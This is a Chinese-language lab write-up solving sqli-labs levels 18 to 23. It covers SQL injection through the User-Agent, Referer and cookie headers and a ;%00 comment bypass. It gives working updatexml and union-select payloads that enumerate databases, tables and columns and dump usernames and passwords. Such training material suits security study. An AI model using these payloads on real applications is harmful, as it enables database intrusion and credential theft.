less-18(User-Agent注入)
登录失败显示ip地址 登录成功显示ip地址和User-Agent 在username和password处尝试注入均被转义,无法注入 测试的关键利用注入语句为
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
因为uagents的数据是会写入数据库再输出的,这是我们得以成功注入的关键 分析后得知,抓包修改请求包的User Agent(关键是闭合前后的语句)
' or updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) and '1'='1
' or updatexml(1,concat(0x7e,(database()),0x7e),1), '','')
成功报错
less-19(referer注入)
登录成功显示的是Referer信息 登录失败是没有回显信息的 与18关相似,区别在于与数据库交互的地方在referer这里
less-20(cookie注入)
查看源码发现 在登录之后后台会将username放入cookie中,再次登录的时候,只要是cookie没有过期,就会去cookie里面取值,然后进行查询 使用Cookie Editor(一个火狐插件) 在cookie处注入
' union select 1 ,2,database()#
正常登录界面如下:
修改cookie后刷新界面
less-21(cookie注入)
同less-20 区别在于less-21的cookie是base64加密过的,其他同上一题
less-22
同上,这关与前面不同的是用的是双引号闭合
less-23(00截断)
阅读源代码发现,这里参数id输入的 # 和 – 都会被替换为空值 针对sqllabs可以使用 ;%00 做注释来绕过 查询语句部分可以用常规的union select联合查询 也可以用updatexml报错注入来做
?id=1 返回正常
?id=1' 返回异常,说明可能存在漏洞
?id=1' --+ 或者
?id=1' # 均返回错误,通过源代码分析,我们得知--+ # 都被替换为了空格,这里使用 ;%00充当注释符
?id=1' order by 3 ;%00 查多少列
?id=-1' union select 1,2,3 ;%00 查找回显位置
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata ;%00 查库名
?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 ;%00 查表名
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 ;%00 查字段名
?id=-1' union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users ;%00 查出字段中所有的值
拓展: 在执行sql语句的时候,如果order by 语句写在or/and语句前面,优先执行的是or/and语句,order by 语句会被直接忽略不执行,更不会报错 但是order by 语句在or/and语句后面的时候,order by 语句会被正常执行 但是如果我们想通过order by语句来查询字段数的时候,应该如何去利用呢? 首先想到的是 ?id=1’ or ‘1’=‘1’ order by 10 但是后台的查询语句中会构造成 SELECT * FROM users WHERE id=‘1’ or ‘1’=‘1’ order by 10’ LIMIT 0,1 多一个引号,从而产生报错 那么 ?id=1’ or ‘1’='1 order by 10 会回显出正常的数据而不会报错
这里我们明知道只有三个字段,但是却回显了正常的的数据而没有报错,说明在sql查询语句中order by 10还是被忽略了 所以这里不能使用order by 语句查询,只能使用union select
?id=1111' union select 1,2,3,4 and '1'='1
?id=1111' union select 1,2,3,4 or '1'='1
因为这里的and 或 or作为了联合查询第二个语句的条件而不是第一个语句where的条件, 即:and/or 与前面的union select的优先级是一样的,所以两个语句都会被执行
?id=1111' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1 #后面接常规的sql报错注入流程
当然直接使用updatexml报错注入也行
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) or '1'='1 #爆数据库
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1) or '1'='1 #查询所有的数据库,使用limit进行逐个查询
这里如果不想用limit一个一个查也可以直接用group_concat拼接一次查完,但是不推荐,有可能数据会显示不完全导致数据丢失(示范如下)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) or '1'='1
总结: order by不得行就联合查询,联合查询还是不得行就updatexml报错注入
参考: SqliLab_Mysql_Injection详解:
https://blog.csdn.net/qq_41260930/article/details/102838945
MySQL架构总览->查询执行流程->SQL解析顺序:
https://www.cnblogs.com/annsshadow/p/5037667.html
|